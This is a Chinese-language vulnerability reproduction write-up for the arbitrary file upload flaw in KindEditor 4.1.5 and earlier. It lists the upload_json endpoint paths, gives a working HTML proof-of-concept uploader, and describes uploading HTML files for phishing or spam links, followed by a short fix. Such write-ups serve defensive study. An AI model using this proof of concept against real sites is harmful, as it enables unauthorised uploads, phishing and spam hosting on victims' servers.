漏洞描述:
漏洞存在于小于等于kindeditor4.1.5 编辑器里,你能上传.txt和 .html文件,支持php/asp/jsp/asp.net。 /php/upload_json.php文件不会清理用户输入或者检查用户是否将任意文件上传到系统。通过构造一个恶意的 html文件来实现跳转,钓鱼等,恶意攻击者可实现。
复现过程:
1.访问ip;port
2.查看版本信息
/kindeditor.js
小于kindeditor4.1.5 ,证明存在文件上传漏洞
3.访问文件上传页面
4.进行尝试如下路径是否存在有必要验证文件 upload_json.*,常见判断路径如下:
/asp/upload_json.asp?dir=file
/asp.net/upload_json.ashx?dir=file
/jsp/upload_json.jsp?dir=file
/php/upload_json.php?dir=file
证明系统的语言为php
5.构造POC或者CURL提交文件。这次采用构造 POC,url替换为攻击url。
<html><head>
<title>Uploader</title>
<script src="http://ip:port/kindeditor.js"></script>
<script> KindEditor.ready(function (K) { var uploadbutton = K.uploadbutton({ button: K('#uploadButton')[0], fieldName: 'imgFile', url: 'http://ip:port/php/upload_json.php?dir=file', afterUpload: function (data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url); } }, }); uploadbutton.fileBox.change(function (e) { uploadbutton.submit(); }); }); </script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly=“readonly”/>
<input type="button" id="uploadButton" value="Upload"/>
</div>
</body>
</html>
6.访问html文件如下
7.抓包,上传txt文件,获取返回路径
8.访问上传文件,发现成功上传
9.同时也可以上传.html文件
这就是攻击者最喜欢上传的文件(里面包含了各种暗页连接地址,如菠菜和其他色情站点链接地址)
修复建议:
1.直接删除upload_json.和file_manager_json.即可